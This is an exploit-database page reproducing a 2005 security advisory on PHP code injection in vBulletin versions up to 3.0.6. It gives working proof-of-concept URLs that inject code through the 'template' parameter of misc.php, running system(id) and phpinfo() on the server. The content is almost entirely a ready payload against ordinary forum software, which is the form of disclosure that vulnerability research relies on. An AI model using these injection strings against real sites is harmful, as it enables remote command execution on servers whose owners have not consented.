[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : vBulletin <= 3.0.6 php Code Injection
# Published : 2005-02-22
# Author : pokley
# Previous Title : AWStats 5.7 - 6.2 Multiple Remote Exploit
# Next Title : vBulletin <= 3.0.4 "forumdisplay.php" Code Execution (part 2)
# Tested on vBulletin Version 3.0.1 /str0ke
# http://www.xxx.net/misc.php?do=page&template={${system(id)}}
#
# [SCAN Associates Security Advisory]
# http://www.scan-associates.net
Proof of concept
================
http://site.com/misc.php?do=page&template={${phpinfo()}}
# www.Syue.com [2005-02-22]